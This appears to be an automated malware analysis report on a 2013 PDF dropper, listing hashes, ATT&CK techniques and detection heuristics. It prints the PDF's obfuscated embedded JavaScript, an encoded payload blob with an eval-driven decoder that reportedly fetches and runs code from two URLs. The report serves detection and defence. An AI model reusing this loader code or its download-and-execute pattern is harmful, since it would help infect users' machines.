Malicious PDF — malware analysis report

Static analysis result for SHA-256 75c1a612dc636ba9…

MALICIOUS

PDF

2.7 KB First seen: 2013-08-19
MD5: 9591846b8f9cfff211476f26e2be8970 SHA-1: ebda6b9580b5400bef0e9ad9950bc0522b08dbf6 SHA-256: 75c1a612dc636ba93e7f4163d41cb39b0a5625371338cb96f7295b6620c4dbcf
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains embedded JavaScript that utilizes eval() and String.fromCharCode() for obfuscation, a common technique for dropper malware. This script is designed to download and execute a payload from the URLs http://J.ZK/DhPJf and http://J.ZK/DhPJf2. The ClamAV detection 'Pdf.Dropper.Agent-7273724-0' further supports its role as a dropper.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 6

  • ClamAV: Pdf.Dropper.Agent-7273724-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7273724-0
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('hmjlhlk=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://J.ZK/DhPJf Referenced by PDF JavaScript
    • http://J.ZK/DhPJf2Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x197 258 bytes
SHA-256: 6c7e3548113c9ad8bfa6412314c9fc83c67d6848e6649eab18fa44336f345dc3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('hmjlhlk=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;');
agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");agd = "!^@&*hgjrg".replace(/[!]/g, "");
javascript_obj111612_001.js pdf-javascript-stream PDF /JS object 111612 at offset 0x268 3296 bytes
SHA-256: 780d660ddea3bda8f252da7cccd7501786b99f5ba83e044a4bf314b600f69c08
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
fnfsxqa="0X1I1Z1f2Z1d3P1`1a242R1^3a1[2L2U1V1W2c3K1T2]1P1Q272f1N3^1L3S1J3f3h1A1F3`1D2_1B3N3Y0d1>3M1<3L1:3d1215162Y2e132T2W1*1-1.3/331+3+3-0g0h3G3T0e3=3E0b2[0`3]0^2h0[3b0Y2V2g0>0O0T2O0R2b0P3V3X0M2J0K2d0E0H2S0F3I3Q0A0B3W3c0?2X3R0:0;2`3O082a062^043Z3_";dzcuks=".Nf9^dHHK1`fG1bc`V?chgjTPaHcIMJ]TIUgiPaKUBU[feiPaHfjYeETM>jePaHcIMJ]TTP[AMb`-feP[AMb[_c6TMiF0?=BU[feQ`7LY1YUcgM;fhciQX[R9eSWQSX47F8Q+O>hYe9=_a4gHi8Q+Kj8--JZc6TK[ATY7Y5RU^[@`9TQ`iSY=^[@ZacG8-4RF?eP6Sh:AR6+J6+K_c6TK[AT4VVh=eJY?***+_c6TK[ATi4aPA4W=eNQ_gZYaM;e.^a+,BE1:P<^R<^6].*73,**+,BV*:PU.h,HF,_3]P+,4*9:NLH,.2_-2:04,.N+0R:T^P:LJ2`,D_+2:M:@K94>.2R,5:K0S6K96>.3NVe.^@WK**1:J8*2;R@f,*d@ZJ**:PL+_2WaNK**1:P,*2:OVa.2f<ZPDZ_2**e.ZZ+,.-L:J**:JK*.2UEC,**8K,@*2:MW5,CU-:J*-R=^J,.+ZXK,/BD.hOP:J0f_2**.23RJ:NO*.2:JG,H6dN3U<XK0GXZQM*T.3B*K,8_V2U00K**-:P0*2<a,/,*f-:J**:PO3D.BBMR:-B.2**.3JBD.WJK:J8^R:**2:*cV2*F@._S5:M-.G,*f7K***K,@Z_2;aOK3.BD.**7,BB*K*-LZLZ,/,+Q/K74<_2Z[1:J8^B:**2::V7,B@a:J*-R:OJ,.2f<ZPDZ_2**e.ZZ+,.-L:J**:JK*.2UEC,**8K,@*2:MW5,CU-:J*-R=^J,.+ZXK,/BD.hOP:J0fB:**2:=;*K34*2:K*e.gC^2=@OG,6fGK90+>2<Z+,.GSB;@67,**0K66*:OV.4.+a0K***K74<_2Z[1:J0Z2:**2=*Z_3E+,K*GQ:J**:J+[B:*cV3S<@K002e.+aE,**+,.WKR:MW5,/dKR:**_3KJ,.*85,5*2>20F@._S5:M-.G,*f7K***K+,Z_3KEC,**8K55*.3JV@K65PZP7CD.Cf,:J**:J**:J**:J**:J**:J**:J**:J**:QBT>3LS4K8@f2=*N.33A8K/8cN2SJ+,FfK:LPFT.cb@K8G2_34_M:J*S_3a4O,B.O:Q,ND.>fY:Q4d>3a<7,<h5_3NJ,.fHW,<2U2=YGN2__*:JM.W,,N<_2Z9+,<ZXZKU,@K,@/4.gc?R;U@+,*1P:J**:M@+e.*^PR:**2:TbG,.Z9:J0F`,**+,<*M>2=_L:MP6e.DZ9:J0F`,**+,75.@K*6c>2**.21LU:MPLC,**0K,W*.21LU:MPLC,**0K6**K,U/DK,B1R:-8DK***K6_U>2V`d_3Q/@K,B1R:-8DK***K0F<_2W2OR:=6G,/cAR<<VW,CR4K7D?e.^GW,58We.-aK,0N=2:**_3dZ+,@cA:K?Xe._08K*g+R;ZLC,**0K,@*2:T^8K,B1R:-8DK***K7DCe.*1+,**+,**+,**+,**+,**+,**+,**+,.V*:MPLC,**0K6c*K73NR::V3,,.2>3Pc4.+[@R:J6a.DDhV2+S4K7@`T.^0HK/6Z_2R<OR:aTa.>[<R:*>].ZaC,4>SN34A,K8CaZQ8c>3LX?,4fK:Q6e_2SbC,<**K8fO:NJON2EH?,<3a:J+a:NMGe.OfQ:KWcN3[3+,*.JK34cN3234K-,g@.OcZR<<X].ONU:Q4N.33A8K-Ea:Q,f_2BA5:Q.N.2B>L:KWdN3[3+,H/22=]b@K*-]R<Z**hF8Q+O>84h;dO`7Vh9Ti4aPA4WI=E9Gjbh7`;MSZC?-LY?7Vh9T4VVh=G_796XSWQRIR5b[5K_c6TK[ATE/H9I>iS3h965hR_HK5+B2<Z@*HX1=J]TE/H9I>iR;hHb;hi7E/H9I9eSWQX1=J]T1/HSLe=jPSh:`M4EXJY?***/]PcRT]^[_c6TK5Y>71/HSLe=j_iR-W6A<IiQj=/_Qj6GSLe=j_9MhA-gF0???HEHA;AQLWPjVA<IhYO9TE/H9I>9`g?W6X?BeF0?;j8-4RF?eO[aY,PAITI>NiQP/i_D9:J6+N2-*B9A-SZC?9`iI=E:`FGUZSObeiPaHfjYeIh4?E-A-gX8`c>]fh:iiSFGUZSObceI^J]TjY^ch?g[HDBU=IY`bWSh=H`dSLWA^/dSWCibLg4I=7dQ.X79[d0PiW]9-^iTg9AEFUMWH/6Xj1icG*";apioh=2731;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/yubsb/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/new Array(/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/);/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(fnfsxqa.length){yubsb.push((fvjnaw(fnfsxqa.charCodeAt(0))<<(4+2))+fvjnaw(fnfsxqa.charCodeAt(1))-(500+12));fnfsxqa=fnfsxqa.slice(2,fnfsxqa.length)}fsdvbz=irbrkp=fnfsxqa=0;cmdoeoc='';function fvjnaw(aodojo2){if(aodojo2>92)aodojo2--;return aodojo2-42}function apxsjn4(){if(fnfsxqa==0){irbrkp=fvjnaw(dzcuks.charCodeAt(fsdvbz++));fnfsxqa=6;}return ((irbrkp>>--fnfsxqa)&0x01);}/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/while(apioh--){i=0;while(yubsb[i]<0){if(apxsjn4())i=-yubsb[i];else i++;}cmdoeoc+=String.fromCharCode(yubsb[i]);}

Open this report in the interactive analyzer, or submit your own file for analysis.